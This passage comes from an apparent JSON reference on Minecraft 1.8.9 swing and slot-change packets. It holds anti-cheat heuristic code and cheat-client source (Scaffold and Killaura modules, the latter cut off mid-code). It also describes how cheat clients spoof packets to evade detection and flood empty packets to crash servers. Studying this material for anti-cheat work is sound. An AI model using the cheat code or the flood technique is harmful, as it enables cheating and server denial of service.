       "detailed_code": "// ===== FILE: intave-intave, src/main/java/de/jpx3/intave/check/combat/heuristics/other/ToolSwitchHeuristic.java =====\n/*\n * Copyright 2026 Intave\n *\n * This software is licensed under the PolyForm Perimeter License 1.0.0.\n * You may use this software for any purpose, except for providing to\n * others any product that competes with the software.\n *\n * A copy of the license is available at:\n *   https://polyformproject.org/licenses/perimeter/1.0.0/\n */\n\npackage de.jpx3.intave.check.combat.heuristics.other;\n\nimport com.comphenix.protocol.events.PacketContainer;\nimport com.comphenix.protocol.events.PacketEvent;\nimport com.comphenix.protocol.wrappers.EnumWrappers;\nimport de.jpx3.intave.check.combat.Heuristics;\nimport de.jpx3.intave.check.combat.heuristics.ClassicHeuristic;\nimport de.jpx3.intave.check.combat.heuristics.HeuristicsClassicType;\nimport de.jpx3.intave.module.linker.packet.ListenerPriority;\nimport de.jpx3.intave.module.linker.packet.PacketId;\nimport de.jpx3.intave.module.linker.packet.PacketSubscription;\nimport de.jpx3.intave.module.mitigate.AttackNerfStrategy;\nimport de.jpx3.intave.user.User;\nimport de.jpx3.intave.user.meta.CheckCustomMetadata;\nimport org.bukkit.entity.Player;\n\nimport static de.jpx3.intave.module.linker.packet.PacketId.Client.*;\n\npublic class ToolSwitchHeuristic extends ClassicHeuristic<ToolSwitchHeuristic.ToolSwitchHeuristicMeta> {\n  public ToolSwitchHeuristic(Heuristics parentCheck) {\n    super(parentCheck, HeuristicsClassicType.TOOL_SWITCH, ToolSwitchHeuristicMeta.class);\n  }\n\n  @PacketSubscription(\n    priority = ListenerPriority.HIGH,\n    packetsIn = {\n      POSITION, POSITION_LOOK, LOOK, FLYING, VEHICLE_MOVE\n    }\n  )\n  public void receiveMovementPacket(PacketEvent event) {\n    Player player = event.getPlayer();\n    ToolSwitchHeuristicMeta meta = metaOf(player);\n    meta.ticksSinceLastBreak++;\n    meta.ticksSinceLastStop++;\n  }\n\n  @PacketSubscription(\n    priority = ListenerPriority.HIGH,\n    packetsIn = {\n      PacketId.Client.BLOCK_DIG\n    }\n  )\n  public void receiveBlockBreakAction(PacketEvent event) {\n    Player player = event.getPlayer();\n    PacketContainer packet = event.getPacket();\n    EnumWrappers.PlayerDigType digType = packet.getPlayerDigTypes().read(0);\n    ToolSwitchHeuristicMeta meta = metaOf(player);\n\n    // Update breaking state ticks\n    if (digType == EnumWrappers.PlayerDigType.START_DESTROY_BLOCK) {\n      meta.ticksSinceLastBreak = 0;\n    } else if (digType == EnumWrappers.PlayerDigType.STOP_DESTROY_BLOCK) {\n      meta.ticksSinceLastStop = 0;\n    }\n  }\n\n  @PacketSubscription(\n    priority = ListenerPriority.HIGH,\n    packetsIn = {\n      PacketId.Client.HELD_ITEM_SLOT_IN\n    }\n  )\n  public void receiveHeldItemSlotChange(PacketEvent event) {\n    Player player = event.getPlayer();\n    PacketContainer packet = event.getPacket();\n    User user = userOf(player);\n    int currentSlot = user.meta().inventory().handSlot();\n    Integer slot = packet.getIntegers().read(0);\n    ToolSwitchHeuristicMeta meta = metaOf(player);\n\n    // If a block break was recently started something is suspicious\n    if (meta.ticksSinceLastBreak <= 1) {\n      meta.suspiciousBreakStart = true;\n      meta.lastSlot = currentSlot;\n    }\n\n    if (meta.suspiciousBreakStart && meta.ticksSinceLastStop <= 1 && meta.lastSlot == slot) {\n      meta.suspiciousBreakStart = false;\n\n      // Violate if buffer is too high\n      if (++meta.vl > 3) {\n        flag(\n          user,\n          \"sent suspicious slot packets while breaking blocks\",\n          meta.ticksSinceLastStop + \" ticks since stopping\"\n        );\n\n        // Apply damage cancel if this happens too often\n        if (++meta.cancelVl > 1) {\n          user.nerf(AttackNerfStrategy.DMG_LIGHT, \"205\");\n        }\n\n        meta.vl = 0;\n      }\n    }\n  }\n\n  public static class ToolSwitchHeuristicMeta extends CheckCustomMetadata {\n    public int ticksSinceLastBreak;\n    public int ticksSinceLastStop;\n    public int lastSlot;\n    public boolean suspiciousBreakStart;\n    public int vl;\n    public int cancelVl;\n  }\n}\n\n// NOTE (AI): The heuristic counters advance on every movement packet, which is how the one-tick window is measured.",
       "code_source": "intave-intave, src/main/java/de/jpx3/intave/check/combat/heuristics/other/ToolSwitchHeuristic.java",
       "variations": "Photon Fastswitch detects the switch speed near combat actions; Kauri SlotChange detects desync spam; Grim tracks slot changes in CompensatedInventory for its break speed checks."
      }
     ]
    }
   },
   "wiki_notes": [
    "Wire field is a 2-byte short slot 0-8 (readShort/writeShort), stored as int in the 1.8.9 class.",
    "PLAY serverbound 0x09; server checks 0-8 then sets currentItem and rebroadcasts the held equipment.",
    "Vanilla sends on scroll; modules spoof it for silent switching without moving the visible hotbar.",
    "MCP 1.8.9 C09PacketHeldItemChange implements Packet<INetHandlerPlayServer> dispatching to INetHandlerPlayServer.processHeldItemChange; wire serde is readPacketData/writePacketData via readShort.",
    "1.8.9 callers: PlayerControllerMP.syncCurrentPlayItem sends new C09PacketHeldItemChange (line 386): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/client/multiplayer/PlayerControllerMP.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/C09PacketHeldItemChange/",
   "mcp_path": "net/minecraft/network/play/client/C09PacketHeldItemChange.java",
   "group": "play-server",
   "logic_classes": [
    "PlayerControllerMP"
   ]
  },
  {
   "id": "C0APacketAnimation",
   "hex": "0x0A",
   "dec": 10,
   "dir": "SERVERBOUND",
   "state": "PLAY",
   "name": "Animation",
   "desc": "Player swings their arm (left click or server-side swing). Empty packet with no payload.",
   "tags": [
    "player",
    "animation"
   ],
   "fields": [],
   "encoding": [
    [
     "No payload",
     "",
     "Completely empty packet"
    ]
   ],
   "mcp": [
    "NetHandlerPlayServer.processAnimation()"
   ],
   "handler": "INetHandlerPlayServer",
   "notes": "When the server receives this, it broadcasts S0BPacketAnimation to nearby players. The empty packet just notifies the server of the swing. Client-side swings (swingItem()) are purely local and don't send this packet.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "The swing packet is the client's arm-swing notice to the server. C0APacketAnimation carries no payload: in 1.8.9 both readPacketData and writePacketData are no-ops, so the wire cost is a single packet id byte (0x0A). EntityPlayerSP.swingItem() fires it at the start of each swing cycle under the isSwingInProgress guard, and the server echoes the action to every tracked player as S0BPacketAnimation with animation id 0. Because the packet is unauthenticated action signaling, its only real content is timing: when it arrives and how often."
     },
     {
      "h": "Vanilla handling",
      "p": "Server side, NetHandlerPlayServer.processAnimation calls markPlayerActive() then swingItem() on the EntityPlayerMP. The first resets the idle counter used by the player-list AFK kick logic; the second advances the entity's swing animation and broadcasts S0BPacketAnimation to all trackers. Client side, swingItem() sends the packet once per swing cycle, so one swing equals one packet in vanilla. Mining, attacking and block placement all route through the same swing; the attack itself is a separate C02PacketUseEntity."
     },
     {
      "h": "Why clients touch it",
      "p": "Five distinct uses appear in the corpus. Scaffold modules send C0A after every onPlayerRightClick3d placement so the server sees a swing matching the block place (Memeware, Nekoware, Rise 5.99, Rise 6.x, Sigma, Tenacity). KillAura-family modules send it in place of swingItem() when the local animation must stay off (Spicy Killaura noSwing mode, Rise 5.99 Aura alwaysSwing). Stealer modules swing before opening chests in Nearby mode. Rise 6.x treats C0A as a swing state bit in BadPacketsComponent and sends it from velocity and flight modes to satisfy attack heuristics. Tenacity Crasher floods 2000 to 10000 C0A packets per motion tick. November Recode 2.0's Scaffold sends C0A when its swing setting is off; LiquidSense Dev's Scaffold and Tower do the same, and its MixinEntityPlayerSP rewrites swingItem to emit C0A under the NoSwing module."
     },
     {
      "h": "Exploit surface",
      "p": "The packet is empty and the server broadcasts the swing to every tracker, so flooding multiplies server work per byte: Tenacity's Crasher pushes up to 10000 per tick to exhaust the server. Swing rate is also a heuristic input: anti-cheats pair C0A with C02PacketUseEntity to count real attacks, which is why velocity modes send C0A before attackEntity (GrimReduceVelocity). A spoofed swing is always safe: the packet carries no position, timestamp or sequence, so the server cannot verify it, only count it."
     }
    ],
    "overview": "The empty swing packet. Scaffold, KillAura, Stealer and velocity modules inject C0A to keep server-side animation consistent with spoofed actions, Rise 6.x tracks it as a bad-packet state bit, and Tenacity's Crasher weaponizes its zero-payload cheapness by flooding thousands per tick.",
    "server_handling": "processAnimation is two calls: markPlayerActive() resets the idle-tick counter that protects against AFK kicks, then swingItem() plays the arm animation and broadcasts S0BPacketAnimation to tracked players. There is no validation on the packet itself: no cooldown, no rate limit, no payload. Any count per tick is accepted and echoed.",
    "protocol_notes": "The class is a pure marker: readPacketData and writePacketData are no-ops, so a swing costs one VarInt id byte on the wire. The client sends it from EntityPlayerSP.swingItem() once per swing cycle, guarded by isSwingInProgress. The serverbound id 0x0A maps to the arm-swing animation id 0 in the S0BPacketAnimation broadcast. Timing is the only signal: anti-cheats derive swing rate and attack cadence from packet arrival, not from content.",
    "anticheat_landscape": "Attack anti-cheats count C0A arrivals relative to C02PacketUseEntity: swings without attacks are tolerated (mining, air swings), but bursts of swings with no C03 or C02 between them read as scaffold or autoclicker activity. Rise 6.x BadPacketsComponent explicitly tracks swing as a flag and resets it on the next C03PacketPlayer; other modules query that flag before sending spoofed actions. Flooding C0A trips server-side packet-rate limits long before any movement check.",
    "modules": [
     {
      "name": "Scaffold",
      "found_in": [
       "Memeware 7.3",
       "Nekoware v1 private",
       "Rise 5.99",
       "Rise 6.2.4",
       "Rise 6.1.30",
       "Sigma 4.11",
       "Tenacity 6.0",
       "November Recode 2.0",
       "LiquidSense Dev"
      ],
      "purpose": "Send a swing with each block placement so the server sees a human-looking arm action alongside the C08 place packet.",
      "how_it_works": "In the post phase of UpdateEvent, after onPlayerRightClick3d returns true, push a raw C0APacketAnimation into the send queue. The pre phase computes the placement target and rotations; the swing is fired only when the placement actually succeeded.",
      "detailed_code": "// ===== FILE: Memeware 7.3, me/memewaredevs/client/module/player/Scaffold.java =====\npackage me.memewaredevs.client.module.player;\n\nimport me.hippo.api.lwjeb.annotation.Handler;\nimport me.memewaredevs.client.event.events.UpdateEvent;\nimport me.memewaredevs.client.module.Module;\nimport me.memewaredevs.client.util.blocks.ScaffoldUtils;\nimport me.memewaredevs.client.util.blocks.misc.BlockInfo;\nimport me.memewaredevs.client.util.blocks.position.Vec3d;\nimport me.memewaredevs.client.util.combat.RotationUtils;\nimport me.memewaredevs.client.util.misc.Timer;\nimport net.minecraft.block.Block;\nimport net.minecraft.init.Blocks;\nimport net.minecraft.item.Item;\nimport net.minecraft.item.ItemBlock;\nimport net.minecraft.network.play.client.C0APacketAnimation;\nimport net.minecraft.potion.Potion;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.Vec3;\nimport org.lwjgl.input.Keyboard;\n\nimport java.util.Arrays;\nimport java.util.List;\nimport java.util.function.Consumer;\n\npublic class Scaffold extends Module {\n\n\tprivate int block;\n\tprivate static List<Block> blockBlacklist = Arrays.asList(Blocks.air, Blocks.water, Blocks.tnt, Blocks.chest,\n\t\t\tBlocks.flowing_water, Blocks.lava, Blocks.flowing_lava, Blocks.tnt, Blocks.enchanting_table, Blocks.carpet,\n\t\t\tBlocks.glass_pane, Blocks.stained_glass_pane, Blocks.iron_bars, Blocks.snow_layer, Blocks.ice,\n\t\t\tBlocks.packed_ice, Blocks.coal_ore, Blocks.diamond_ore, Blocks.emerald_ore, Blocks.chest, Blocks.torch,\n\t\t\tBlocks.anvil, Blocks.trapped_chest, Blocks.noteblock, Blocks.jukebox, Blocks.tnt, Blocks.gold_ore,\n\t\t\tBlocks.iron_ore, Blocks.lapis_ore, Blocks.sand, Blocks.lit_redstone_ore, Blocks.quartz_ore,\n\t\t\tBlocks.redstone_ore, Blocks.wooden_pressure_plate, Blocks.stone_pressure_plate,\n\t\t\tBlocks.light_weighted_pressure_plate, Blocks.heavy_weighted_pressure_plate, Blocks.stone_button,\n\t\t\tBlocks.wooden_button, Blocks.lever, Blocks.enchanting_table, Blocks.red_flower, Blocks.double_plant,\n\t\t\tBlocks.yellow_flower);\n\tprivate BlockInfo data;\n\tprivate Timer timer = new Timer();\n\tprivate int slot, newSlot, oldSlot;\n\n\tpublic Scaffold() {\n\t\tsuper(\"Scaffold\", Keyboard.KEY_G, Category.PLAYER);\n\t\tthis.slot = -1;\n\t}\n\n\t@Handler\n\tpublic Consumer<UpdateEvent> sexoButthole = (event) -> {\n\t\tif (event.isPre()) {\n\t\t\tfor (block = 0; block < 45; ++block)\n\t\t\t\tmc.thePlayer.inventoryContainer.getSlot(block).getStack();\n\t\t\tint tempSlot = ScaffoldUtils.getBlockSlot();\n\t\t\tif (ScaffoldUtils.invCheck()) {\n\t\t\t\tfor (int i = 9; i < 36; ++i) {\n\t\t\t\t\tItem item;\n\t\t\t\t\tif (!mc.thePlayer.inventoryContainer.getSlot(i).getHasStack()\n\t\t\t\t\t\t\t|| !((item = mc.thePlayer.inventoryContainer.getSlot(i).getStack()\n\t\t\t\t\t\t\t\t\t.getItem()) instanceof ItemBlock)\n\t\t\t\t\t\t\t|| blockBlacklist.contains(((ItemBlock) item).getBlock())\n\t\t\t\t\t\t\t|| ((ItemBlock) item).getBlock().getLocalizedName().toLowerCase().contains(\"chest\"))\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\tScaffoldUtils.swap(i, 7);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tdata = null;\n\t\t\tslot = -1;\n\t\t\tif (tempSlot != -1) {\n\t\t\t\tnewSlot = ScaffoldUtils.getBlockSlot();\n\t\t\t\toldSlot = mc.thePlayer.inventory.currentItem;\n\t\t\t\tmc.thePlayer.inventory.currentItem = newSlot;\n\t\t\t\tBlockPos blockBelow1 = new BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 0.9, mc.thePlayer.posZ);\n\t\t\t\tmc.thePlayer.inventory.currentItem = oldSlot;\n\t\t\t\tif (mc.theWorld.getBlockState(blockBelow1).getBlock() == Blocks.air) {\n\t\t\t\t\tdata = ScaffoldUtils.getBlockData(blockBelow1);\n\t\t\t\t\tslot = tempSlot;\n\t\t\t\t\tif (data == null) {\n\t\t\t\t\t\tdata = ScaffoldUtils.getBlockData(blockBelow1.offsetDown());\n\t\t\t\t\t}\n\t\t\t\t\tif (data == null)\n\t\t\t\t\t\treturn;\n\t\t\t\t\tfloat[] rots = RotationUtils.doScaffoldRotations(new Vec3d(blockBelow1));\n\t\t\t\t\tmc.thePlayer.rotationYawHead = rots[0];\n\t\t\t\t\tmc.thePlayer.rotationPitchHead = rots[1];\n\t\t\t\t\tmc.thePlayer.renderYawOffset = rots[0];\n\t\t\t\t\tevent.setYaw(rots[0]);\n\t\t\t\t\tevent.setPitch(rots[1]);\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tif (this.data != null && this.timer.delay(75L) && this.slot != -1) {\n\t\t\t\tmc.thePlayer.inventory.currentItem = newSlot;\n\t\t\t\tif (mc.playerController.onPlayerRightClick3d(mc.thePlayer, mc.theWorld,\n\t\t\t\t\t\tmc.thePlayer.inventoryContainer.getSlot(36 + slot).getStack(), data.position, data.face,\n\t\t\t\t\t\tScaffoldUtils.getVec3d(data.position, data.face))) {\n\t\t\t\t\tmc.thePlayer.sendQueue.addToSendQueue(new C0APacketAnimation());\n\t\t\t\t}\n\t\t\t\tmc.thePlayer.inventory.currentItem = oldSlot;\n\t\t\t\tif (mc.gameSettings.keyBindJump.pressed) {\n\t\t\t\t\tif (!mc.thePlayer.isMoving() && !mc.gameSettings.keyBindForward.pressed) {\n\t\t\t\t\t\tmc.thePlayer.motionZ *= 0.0;\n\t\t\t\t\t\tmc.thePlayer.motionX *= 0.0;\n\t\t\t\t\t\tmc.thePlayer.motionY = 0.41999998688697815;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t};\n}\n// NOTE (AI): Memeware sends the swing directly into the send queue after a successful onPlayerRightClick3d. The same pattern appears in Nekoware's Scaffold, and Rise 5.99's Scaffold sends via PacketUtil.sendPacket in two branches of its placement logic.",
      "code_source": "Memeware 7.3, me/memewaredevs/client/module/player/Scaffold.java",
      "vanilla_hook": "UpdateEvent post phase; swing follows the placement call, not a packet event.",
      "anti_cheat_notes": "Harmless: it matches vanilla placing behavior (swing accompanies the block place). The flag surface is the placement rate, not the swing.",
      "variations": "Nekoware's Scaffold is byte-for-byte the same pattern. Rise 5.99 sends via PacketUtil.sendPacket. Rise 6.x Scaffold sends at its line ~752 with PacketUtil.send. Sigma sends via sendQueue in two code paths (lines ~431 and ~1089). Tenacity ScaffoldModule sends at line ~201 via addToSendQueue. November Recode 2.0's ScaffoldModule sends C0A instead of swingItem() when its swing setting is off, after a successful onPlayerRightClick placement. LiquidSense Dev's Scaffold does the same at its placement path, and its Tower module follows the identical swing-or-C0A branch."
     },
     {
      "name": "KillAura / Aura",
      "found_in": [
       "Rise 5.99",
       "Rise 6.2.4",
       "Rise 6.1.30",
       "Sigma 4.11",
       "Spicy"
      ],
      "purpose": "Swing server-side while controlling the local animation. Spicy's noSwing mode sends the packet instead of swingItem() so the arm does not visibly swing client-side.",
      "how_it_works": "On the attack timer elapse, if noSwing is enabled, push new C0APacketAnimation() into the send queue and then send C02PacketUseEntity ATTACK; otherwise call swingItem() locally. Rise 5.99 Aura sends C0A when alwaysSwing is on and the raytrace failed, faking swings at out-of-range targets. Rise 6.x KillAura tracks C0A in onPacketSend to set its swing state bit, consumed by auto-block delay logic.",
      "detailed_code": "// ===== FILE: Spicy, info/spicyclient/modules/combat/Killaura.java =====\npackage info.spicyclient.modules.combat;\n\nimport java.awt.Color;\nimport java.text.DecimalFormat;\nimport java.util.Comparator;\nimport java.util.List;\nimport java.util.Random;\nimport java.util.stream.Collectors;\n\nimport org.lwjgl.input.Keyboard;\n\nimport info.spicyclient.SpicyClient;\nimport info.spicyclient.chatCommands.Command;\nimport info.spicyclient.events.Event;\nimport info.spicyclient.events.listeners.EventMotion;\nimport info.spicyclient.events.listeners.EventRenderGUI;\nimport info.spicyclient.events.listeners.EventUpdate;\nimport info.spicyclient.modules.Module;\nimport info.spicyclient.modules.movement.Sprint;\nimport info.spicyclient.settings.BooleanSetting;\nimport info.spicyclient.settings.ModeSetting;\nimport info.spicyclient.settings.NumberSetting;\nimport info.spicyclient.settings.SettingChangeEvent;\nimport info.spicyclient.util.MovementUtils;\nimport info.spicyclient.util.RenderUtils;\nimport info.spicyclient.util.RotationUtils;\nimport info.spicyclient.util.Timer;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.client.gui.FontRenderer;\nimport net.minecraft.client.gui.Gui;\nimport net.minecraft.client.gui.GuiScreen;\nimport net.minecraft.client.gui.ScaledResolution;\nimport net.minecraft.client.gui.inventory.GuiInventory;\nimport net.minecraft.client.renderer.GlStateManager;\nimport net.minecraft.client.renderer.RenderHelper;\nimport net.minecraft.enchantment.EnchantmentHelper;\nimport net.minecraft.entity.Entity;\nimport net.minecraft.entity.EntityLivingBase;\nimport net.minecraft.entity.monster.EntityMob;\nimport net.minecraft.entity.passive.EntityAnimal;\nimport net.minecraft.entity.player.EntityPlayer;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.item.ItemSword;\nimport net.minecraft.network.play.client.C02PacketUseEntity;\nimport net.minecraft.network.play.client.C02PacketUseEntity.Action;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C07PacketPlayerDigging;\nimport net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;\nimport net.minecraft.network.play.client.C0APacketAnimation;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.EnumFacing;\nimport net.minecraft.util.MathHelper;\nimport net.minecraft.util.Vec3;\nimport net.minecraft.util.MovingObjectPosition.MovingObjectType;\nimport net.minecraft.world.World;\nimport net.minecraft.world.WorldSettings;\n\npublic class Killaura extends Module {\n\t\n\tpublic static EntityLivingBase target = null;\n\t\n\tpublic NumberSetting range = new NumberSetting(\"Range\", 4, 1, 6, 0.1);\n\tprivate NumberSetting aps = new NumberSetting(\"APS\", 10, 0, 20, 1);\n\tprivate BooleanSetting noSwing = new BooleanSetting(\"NoSwing\", false);\n\tprivate BooleanSetting disableOnDeath = new BooleanSetting(\"DisableOnDeath\", false);\n\tpublic BooleanSetting dontHitDeadEntitys = new BooleanSetting(\"Don't hit dead entitys\", true);\n\tpublic ModeSetting targetsSetting = new ModeSetting(\"Targets\", \"Players\", \"Players\", \"Animals\", \"Mobs\", \"Everything\");\n\tpublic ModeSetting rotationSetting = new ModeSetting(\"Rotation setting\", \"lock\", \"lock\", \"smooth\");\n\tpublic ModeSetting newAutoblock = new ModeSetting(\"Autoblock mode\", \"None\", \"None\", \"Vanilla\", \"Hypixel\");\n\tpublic ModeSetting targetingMode = new ModeSetting(\"Targeting mode\", \"Single\", \"Single\", \"Switch\");\n\tpublic NumberSetting switchTime = new NumberSetting(\"Switch Time\", 2, 0.1, 10, 0.1);\n\tpublic BooleanSetting hitOnHurtTime = new BooleanSetting(\"Hit on hurt time\", false);\n\t\n\tprivate static transient boolean blocking = false;\n\t\n\tprivate static transient float lastSmoothYaw, lastSmoothPitch;\n\t\n\tprivate static transient double dynamicAPS = 14;\n\tprivate static transient Timer dynamicAPSTimer = new Timer();\n\t\n\tprivate int[] randoms = {0,1,0};\n\tpublic static float sYaw, sPitch, upAndDownPitch = 0;\n\t\n\tpublic static transient double healthBarTarget = 0, healthBar = 0;\n\t\n\t// These settings are not used anymore but are still here so you can update old configs\n\tprivate BooleanSetting autoblock = new BooleanSetting(\"Autoblock\", false);\n\tpublic ModeSetting targetModeSetting = new ModeSetting(\"Targets\", \"Players\", \"Players\", \"Animals\", \"Mobs\", \"Everything\");\n\t\n\tpublic Killaura() {\n\t\tsuper(\"Killaura\", Keyboard.KEY_NONE, Category.COMBAT);\n\t\tresetSettings();\n\t}\n\t\n\tprivate static Timer targetSwitchTimer = new Timer();\n\tprivate static EntityLivingBase lastTarget = null;\n\t\n\t@Override\n\tpublic void resetSettings() {\n\t\tthis.settings.clear();\n\t\tthis.addSettings(range, aps, noSwing, switchTime, disableOnDeath, dontHitDeadEntitys, targetsSetting, newAutoblock, targetingMode, rotationSetting, hitOnHurtTime);\n\t}\n\t\n\tpublic void onEnable() {\n\t\t\n\t\tlastSmoothYaw = mc.thePlayer.rotationYaw;\n\t\tlastSmoothPitch = mc.thePlayer.rotationPitch;\n\t\t\n\t\thealthBar = new ScaledResolution(mc).getScaledWidth() / 2 - 41;\n\t\tdynamicAPS = aps.getValue();\n\t\tupAndDownPitch = 0;\n\t\t\n\t}\n\t\n\tpublic void onDisable() {\n\t\t\n\t\thealthBar = new ScaledResolution(mc).getScaledWidth() / 2 - 41;\n\t\tRenderUtils.resetPlayerYaw();\n\t\tRenderUtils.resetPlayerPitch();\n\t\t\n        if (mc.thePlayer != null && newAutoblock.is(\"Hypixel\")) {\n        \ttry {\n                if (blocking && newAutoblock.is(\"Hypixel\") && mc.thePlayer.inventory.getCurrentItem().getItem() != null && mc.thePlayer.inventory.getCurrentItem().getItem() instanceof ItemSword) {\n                    mc.gameSettings.keyBindUseItem.pressed = false;\n                    mc.playerController.onStoppedUsingItem(mc.thePlayer);\n                }\n\t\t\t} catch (NullPointerException e) {\n\t\t\t\t// TODO: handle exception\n\t\t\t}\n        \t\n        }\n\n\t}\n\t\n\tpublic Timer timer = new Timer();\n\t\n\t@Override\n\tpublic void onSettingChange(SettingChangeEvent e) {\n\t\t\n\t\tif (e.setting != null & e.setting.equals(targetingMode)) {\n\t\t\t\n\t\t\tif (targetingMode.is(\"Single\") && settings.contains(switchTime)) {\n\t\t\t\tsettings.remove(switchTime);\n\t\t\t\tthis.settings.sort(Comparator.comparing(s -> s == keycode ? 1 : 0));\n\t\t\t}\n\t\t\telse if (targetingMode.is(\"Switch\") && !settings.contains(switchTime)) {\n\t\t\t\tsettings.add(switchTime);\n\t\t\t\tthis.settings.sort(Comparator.comparing(s -> s == keycode ? 1 : 0));\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t}\n\t\n\tpublic void onEvent(Event e) {\n\t\t\n\t\t// For the target hud\n\t\tif (e instanceof EventRenderGUI && target != null) {\n\t\t\t\n\t\t\tif (target == null) {\n\t\t\t\thealthBar = new ScaledResolution(mc).getScaledWidth() / 2 - 41;\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t\n\t\t\tScaledResolution sr = new ScaledResolution(mc);\n\t\t\tFontRenderer fr = mc.fontRendererObj;\n\t\t\tDecimalFormat dec = new DecimalFormat(\"#\");\n\t\t\t\n\t\t\thealthBarTarget = sr.getScaledWidth() / 2 - 41 + (((140) / (target.getMaxHealth())) * (target.getHealth()));\n\t\t\t\n\t\t\t// Lower is faster, higher is slower\n\t\t\tdouble HealthBarSpeed = 5;\n\t\t\t\n\t\t\tif (healthBar > healthBarTarget) {\n\t\t\t\thealthBar = ((healthBar) - ((healthBar - healthBarTarget) / HealthBarSpeed));\n\t\t\t}\n\t\t\telse if (healthBar < healthBarTarget) {\n\t\t\t\t//healthBar = healthBarTarget;\n\t\t\t\thealthBar = ((healthBar) + ((healthBarTarget - healthBar) / HealthBarSpeed));\n\t\t\t}\n\t\t\t//Command.sendPrivateChatMessage(healthBarTarget + \" : \" + healthBar);\n\t\t\t\n\t\t\tint color = (target.getHealth() / target.getMaxHealth() > 0.66f) ? 0xff00ff00 : (target.getHealth() / target.getMaxHealth() > 0.33f) ? 0xffff9900 : 0xffff0000;\n\t\t\t\n\t\t\tcolor = 0xff00ff00;\n\t\t\t\n\t\t\tfloat[] hsb = Color.RGBtoHSB(((int)SpicyClient.config.hud.colorSettingRed.getValue()), ((int)SpicyClient.config.hud.colorSettingGreen.getValue()), ((int)SpicyClient.config.hud.colorSettingBlue.getValue()), null);\n\t\t\tfloat hue = hsb[0];\n\t\t\tfloat saturation = hsb[1];\n\t\t\tcolor = Color.HSBtoRGB(hue, saturation, 1);;\n\t\t\t\n\t\t\tif (SpicyClient.config.rainbowgui.isEnabled()) {\n\t\t\t\tfloat hue1 = System.currentTimeMillis() % (int)((100.5f - SpicyClient.config.rainbowgui.speed.getValue()) * 1000) / (float)((100.5f - SpicyClient.config.rainbowgui.speed.getValue()) * 1000);\n\t\t\t\tcolor = Color.HSBtoRGB(hue1, 0.65f, 1);\n\t\t\t}\n\t\t\t\n\t\t\tGui.drawRect(sr.getScaledWidth() / 2 - 110, sr.getScaledHeight() / 2 + 100, sr.getScaledWidth() / 2 + 110, sr.getScaledHeight() / 2 + 170, 0xff36393f);\n\t\t\tGui.drawRect(sr.getScaledWidth() / 2 - 41, sr.getScaledHeight() / 2 + 100 + 54, sr.getScaledWidth() / 2 + 100, sr.getScaledHeight() / 2 + 96 + 45, 0xff202225);\n\t\t\tGui.drawRect(sr.getScaledWidth() / 2 - 41, sr.getScaledHeight() / 2 + 100 + 54, healthBar, sr.getScaledHeight() / 2 + 96 + 45, color);\n\t\t\t//Gui.drawRect(sr.getScaledWidth() / 2 - 41, sr.getScaledHeight() / 2 + 100 + 54, healthBarTarget, sr.getScaledHeight() / 2 + 96 + 45, color);\n\t\t\t\n\t\t\tGlStateManager.color(1, 1, 1);\n\t\t\tGuiInventory.drawEntityOnScreen(sr.getScaledWidth() / 2 - 75, sr.getScaledHeight() / 2 + 165, 25, 1f, 1f, target);\n\t\t\tfr.drawString(target.getName(), sr.getScaledWidth() / 2 - 40, sr.getScaledHeight() / 2 + 110, -1);\n\t\t\tfr.drawString(\"HP: \", sr.getScaledWidth() / 2 - 40, sr.getScaledHeight() / 2 + 125, -1);\n\t\t\tfr.drawString(\"§c❤: §f\" + dec.format(target.getHealth()), sr.getScaledWidth() / 2 - 40 + fr.getStringWidth(\"HP: \"), sr.getScaledHeight() / 2 + 125, color);\n\t\t\t//fr.drawString(dec.format(target.getMaxHealth()) + \"\", sr.getScaledWidth() / 2 - 40 + fr.getStringWidth(\"HP: \") + fr.getStringWidth(dec.format(target.getHealth()) + \" / \"), sr.getScaledHeight() / 2 + 125, color);\n\t\t\t\n\t\t\t/*\n\t\t\tRenderHelper.enableGUIStandardItemLighting();\n\t\t\tmc.getRenderItem().renderItemAndEffectIntoGUI(target.getHeldItem(), sr.getScaledWidth() / 2 - 40, sr.getScaledHeight() / 2 + 143);\n\t\t\tmc.getRenderItem().renderItemAndEffectIntoGUI(target.getCurrentArmor(3), sr.getScaledWidth() / 2 - 10, sr.getScaledHeight() / 2 + 143);\n\t\t\tmc.getRenderItem().renderItemAndEffectIntoGUI(target.getCurrentArmor(2), sr.getScaledWidth() / 2 + 20, sr.getScaledHeight() / 2 + 143);\n\t\t\tmc.getRenderItem().renderItemAndEffectIntoGUI(target.getCurrentArmor(1), sr.getScaledWidth() / 2 + 50, sr.getScaledHeight() / 2 + 143);\n\t\t\tmc.getRenderItem().renderItemAndEffectIntoGUI(target.getCurrentArmor(0), sr.getScaledWidth() / 2 + 80, sr.getScaledHeight() / 2 + 143);\n\t\t\t*/\n\t\t\t\n\t\t\t//Gui.drawRect(sr.getScaledWidth() / 2, sr.getScaledHeight() / 2 + 100, sr.getScaledWidth() / 2 + 10, sr.getScaledHeight() / 2 + 150, 0x50000000);\n\t\t\t\n\t\t}\n\t\t\n\t\tif (e instanceof EventUpdate) {\n\t\t\t\n\t\t\tif (e.isPre()) {\n\t\t\t\t\n\t\t\t\t//this.additionalInformation = targetingMode.getMode() + SpicyClient.hud.separator + rotationSetting.getMode();\n\t\t\t\tthis.additionalInformation = \"R: \" + range.getValue() + SpicyClient.hud.separator + \"APS: \" + aps.getValue();\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t\tif (e instanceof EventMotion) {\n\t\t\t\n\t\t\tif (e.isPre()) {\n\t\t\t\t\n\t\t\t\tSprint s = 